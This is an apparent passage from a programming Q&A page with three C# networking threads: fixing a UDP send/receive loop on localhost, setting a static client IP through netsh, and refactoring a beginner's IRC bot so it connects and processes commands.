Console.WriteLine(err.ToString());
}
}
string message()
{
Packet p = new Packet();
p.id = "car";
p.start = DateTime.Now;
p.x = 1.2f;
p.y = 0.4f;
p.z = 4.5f;
p.step = stepNum++;
string json = JsonConvert.SerializeObject(p);
return json;
}
void translater()
{
Byte[] data = new byte[0];
client.Client.Bind(inPoint);
while (true)
{
try
{
data = client.Receive(ref inPoint);
}
catch (Exception err)
{
Console.WriteLine("Blaster.translater: recieve data error: " + err.Message);
client.Close();
return;
}
string json = Encoding.ASCII.GetString(data);
Console.WriteLine(json);
Packet p = JsonConvert.DeserializeObject<Packet>(json);
}
}
}
}
Ok, I had seen some examples of folks using a single client object for both send and receive (as well as the same port). But then I saw a different port was needed if they were on the same host. Now I see you need a separate udpClient.
using Newtonsoft.Json;
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
namespace Blaster
{
class Blaster
{
UdpClient client;
IPEndPoint outPoint;
IPEndPoint inPoint;
public int oPort = 7777;
public int iPort = 7778;
public string hostName = "localhost";
public int stepNum = 0;
const int rate = 1000;
public System.Timers.Timer clock;
Thread listener;
static void Main(string[] args)
{
Blaster b = new Blaster();
b.run();
}
Blaster()
{
client = new UdpClient();
outPoint = new IPEndPoint(Dns.GetHostAddresses(hostName)[0], oPort);
inPoint = new IPEndPoint(Dns.GetHostAddresses(hostName)[0], iPort);
}
void run()
{
this.stepNum = 0;
listener = new Thread(new ThreadStart(translater));
listener.IsBackground = true;
listener.Start();
Console.WriteLine("Press Enter to do a send loop...\n");
Console.ReadLine();
Console.WriteLine("started at {0:HH:mm:ss.fff}", DateTime.Now);
start();
Console.WriteLine("Press Enter to stop");
Console.ReadLine();
stop();
client.Close();
}
void stop()
{
clock.Stop();
clock.Dispose();
}
void start()
{
clock = new System.Timers.Timer(rate);
clock.Elapsed += send;
clock.AutoReset = true;
clock.Enabled = true;
}
void send(Object source, System.Timers.ElapsedEventArgs e)
{
Console.WriteLine("sending: {0}", stepNum);
Byte[] sendBytes = Encoding.ASCII.GetBytes(message());
try
{
client.Send(sendBytes, sendBytes.Length, outPoint);
}
catch (Exception err)
{
Console.WriteLine(err.ToString());
}
}
string message()
{
Packet p = new Packet();
p.id = "car";
p.start = DateTime.Now;
p.x = 1.2f;
p.y = 0.4f;
p.z = 4.5f;
p.step = stepNum++;
string json = JsonConvert.SerializeObject(p);
return json;
}
void translater()
{
UdpClient server = new UdpClient();
Byte[] data = new byte[0];
server.Client.Bind(inPoint);
while (true)
{
try
{
data = server.Receive(ref inPoint);
}
catch (Exception err)
{
Console.WriteLine("Blaster.translater: recieve data error: " + err.Message);
client.Close();
return;
}
string json = Encoding.ASCII.GetString(data);
Console.WriteLine(json);
Packet p = JsonConvert.DeserializeObject<Packet>(json);
}
}
}
}

How to dynamically change ip address of client in c#?

In my client-server winform app,want to change ip address of client each time i run it.
A text box should take ip address of my client and then connect to server using local ip which is on same computer.
Client code:
public partial class Form1 : Form
{
System.Net.Sockets.TcpClient clientSocket = new System.Net.Sockets.TcpClient();
NetworkStream serverStream;
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
}
public void ConnectToServer()
{
string server_localip = GetLocalIP();
clientSocket.Connect(server_localip, 8888);
}
public void SendData(string dataTosend)
{
if (string.IsNullOrEmpty(dataTosend))
return;
NetworkStream serverStream = clientSocket.GetStream();
byte[] outStream = new byte[33];
outStream = System.Text.Encoding.ASCII.GetBytes(dataTosend);
serverStream.Write(outStream, 0, outStream.Length);
serverStream.Flush();
}
public void CloseConnection()
{
clientSocket.Close();
}
public string ReceiveData()
{
StringBuilder message = new StringBuilder();
serverStream = clientSocket.GetStream();
serverStream.ReadTimeout = 100;
//the loop should continue until no dataavailable to read and message string is filled.
//if data is not available and message is empty then the loop should continue, until
//data is available and message is filled.
while (true)
{
if (serverStream.DataAvailable)
{
int read = serverStream.ReadByte();
if (read > 0)
message.Append((char)read);
else
break;
}
else if (message.ToString().Length > 0)
break;
}
return message.ToString();
}
public string GetLocalIP()
{
IPHostEntry host;
host = Dns.GetHostEntry(Dns.GetHostName());
foreach (IPAddress ip in host.AddressList)
{
if (ip.AddressFamily == AddressFamily.InterNetwork)
{
return ip.ToString();
}
}
return "127.0.0.1";
}
private void btnConnect_Click(object sender, EventArgs e)
{
ConnectToServer();
btnConnect.Text = "Connected";
}
private void btnRegister_Click(object sender, EventArgs e)
{
//if (!Regex.IsMatch(txtPrivateId.Text, #"\w+([-+.']\w+)*#\w+([-.]\w+)*\.\w+([-.]\w+)*"))
//{
// lblError.Text ="Please type a valid IMPI.";
//}
//if (!Regex.IsMatch(txtPublicId.Text, "[^0-9]"))
//{
// lblError.Text = lblError.Text + "\nPlease type a valid IMPU.";
//}
//else
//{
lblError.Text = "";
string data = txtPrivateId.Text + ";" + txtPublicId.Text;
for (int i = 0; i < 1; i++)
{
SendData(data);
}
string rec = null;
rec = ReceiveData();
txtReceive.Text = rec;
}
}
Any guidance would be appreciated..
you can use netsh to change your ip address:
netsh interface ip set address [adapter name] static [ip address] [subnet mask] [gateway] [interface metric]
try the code below:
Process p = new Process();
ProcessStartInfo psi = new ProcessStartInfo("netsh", "interface ip set address \"Local Area Connection\" static 192.168.0.10 255.255.255.0 192.168.0.1 1");
p.StartInfo = psi;
p.Start();
and remember that your application should be running in elevated permissions.
"Local Area Connection" should match your adapter name
for more information about the netsh command line switches visit the Microsoft knowledge base article below:
http://support.microsoft.com/kb/242468

IRCBot C# connection issues

I am having an issue with my IRC Bot I am trying to write in c# just as a way to help get my head around the IRC protocol, I am planning on writing a client/server in the future but as you can prolly guess I am far off this :P
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Sockets;
using System.IO;
namespace LolBot
{
struct IRCConfig
{
public string server;
public int port;
public string nick;
public string name;
}
class IRCBot
{
TcpClient IRCConnection = null;
IRCConfig config;
NetworkStream ns = null;
StreamReader sr = null;
StreamWriter sw = null;
public IRCBot(IRCConfig config)
{
this.config = config;
try
{
IRCConnection = new TcpClient(config.server, config.port);
}
catch
{
Console.WriteLine("Connection Error");
}
try
{
ns = IRCConnection.GetStream();
sr = new StreamReader(ns);
sw = new StreamWriter(ns);
sendData("USER", config.nick + config.name);
sendData("NICK", config.nick);
}
catch
{
Console.WriteLine("Communication error");
}
finally
{
if (sr != null)
sr.Close();
if (sw != null)
sw.Close();
if (ns != null)
ns.Close();
if (IRCConnection != null)
IRCConnection.Close();
}
}
public void sendData(string cmd, string param)
{
if (param == null)
{
sw.WriteLine(cmd);
sw.Flush();
Console.WriteLine(cmd);
}
else
{
sw.WriteLine(cmd + " " + param);
sw.Flush();
Console.WriteLine(cmd + " " + param);
}
}
public void IRCWork()
{
string[] ex;
string data;
bool shouldRun = true;
while (shouldRun)
{
data = sr.ReadLine();
Console.WriteLine(data);
char[] charSeparator = new char[] { ' ' };
ex = data.Split(charSeparator, 5);
if (ex[0] == "PING")
{
sendData("PONG", ex[1]);
}
if (ex.Length > 4) //is the command received long enough to be a bot command?
{
string command = ex[3]; //grab the command sent
switch (command)
{
case ":!join":
sendData("JOIN", ex[4]); //if the command is !join send the "JOIN" command to the server with the parameters set by the user
break;
case ":!say":
sendData("PRIVMSG", ex[2] + " " + ex[4]); //if the command is !say, send a message to the chan (ex[2]) followed by the actual message (ex[4]).
break;
case ":!quit":
sendData("QUIT", ex[4]); //if the command is quit, send the QUIT command to the server with a quit message
shouldRun = false; //turn shouldRun to false - the server will stop sending us data so trying to read it will not work and result in an error. This stops the loop from running and we will close off the connections properly
break;
}
}
}
}
}
class Program
{
static void Main(string[] args)
{
IRCConfig conf = new IRCConfig();
conf.name = "LolBot";
conf.nick = "LolBot";
conf.port = 6667;
conf.server = "irc.strictfp.com";
new IRCBot(conf);
Console.WriteLine("Bot quit/crashed");
Console.ReadLine();
}
}
}
Whenever I execute the Bot, it comes up with:
USER AspiBot google.com google.com :AspiBot
NICK AspiBot
Bot quit/crashed
I don't really understand why it is quiting before connecting to the server and I am also looking on how to set it up to join a channel, I am aware that I need to use JOIN but I'm not sure how to implent it.
You should probably not do so much in the constructor, but the problem you are encountering here is that you are not calling IRCWork() after newing up the bot.
var bot = new IRCBot(conf);
bot.IRCWork();
EDIT You are also closing all of your connections in the finally block of your constructor, so IRCWork() isn't going to work anyway. Try implementing IDisposable, and putting your close logic in Dispose():
using (var bot = new IRCBot(conf))
{
bot.IRCWork();
}
Quick refactor of posted code
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Sockets;
using System.IO;
namespace LolBot
{
internal struct IRCConfig
{
public string server;
public int port;
public string nick;
public string name;
}
internal class IRCBot : IDisposable
{
private TcpClient IRCConnection = null;
private IRCConfig config;
private NetworkStream ns = null;
private StreamReader sr = null;
private StreamWriter sw = null;
public IRCBot(IRCConfig config)
{
this.config = config;
}
public void Connect()
{
try
{
IRCConnection = new TcpClient(config.server, config.port);
}
catch
{
Console.WriteLine("Connection Error");
throw;
}
try
{
ns = IRCConnection.GetStream();
sr = new StreamReader(ns);
sw = new StreamWriter(ns);
sendData("USER", config.nick + config.name);
sendData("NICK", config.nick);
}
catch
{
Console.WriteLine("Communication error");
throw;
}
}
public void sendData(string cmd, string param)
{
if (param == null)
{
sw.WriteLine(cmd);
sw.Flush();
Console.WriteLine(cmd);
}
else
{
sw.WriteLine(cmd + " " + param);
sw.Flush();
Console.WriteLine(cmd + " " + param);
}
}
public void IRCWork()
{
string[] ex;
string data;
bool shouldRun = true;
while (shouldRun)
{
data = sr.ReadLine();
Console.WriteLine(data);
char[] charSeparator = new char[] {' '};
ex = data.Split(charSeparator, 5);
if (ex[0] == "PING")
{
sendData("PONG", ex[1]);
}
if (ex.Length > 4) //is the command received long enough to be a bot command?
{
string command = ex[3]; //grab the command sent
switch (command)
{
case ":!join":
sendData("JOIN", ex[4]);
//if the command is !join send the "JOIN" command to the server with the parameters set by the user
break;
case ":!say":
sendData("PRIVMSG", ex[2] + " " + ex[4]);
//if the command is !say, send a message to the chan (ex[2]) followed by the actual message (ex[4]).
break;
case ":!quit":
sendData("QUIT", ex[4]);
//if the command is quit, send the QUIT command to the server with a quit message
shouldRun = false;
//turn shouldRun to false - the server will stop sending us data so trying to read it will not work and result in an error. This stops the loop from running and we will close off the connections properly
break;
}
}
}
}
public void Dispose()
{
if (sr != null)
sr.Close();
if (sw != null)
sw.Close();
if (ns != null)
ns.Close();
if (IRCConnection != null)
IRCConnection.Close();
}
}
internal class Program
{
private static void Main(string[] args)
{
IRCConfig conf = new IRCConfig();
conf.name = "LolBot";
conf.nick = "LolBot";
conf.port = 6667;
conf.server = "irc.strictfp.com";
using (var bot = new IRCBot(conf))
{
bot.Connect();
bot.IRCWork();
}
Console.WriteLine("Bot quit/crashed");
Console.ReadLine();
}
}
}

Categories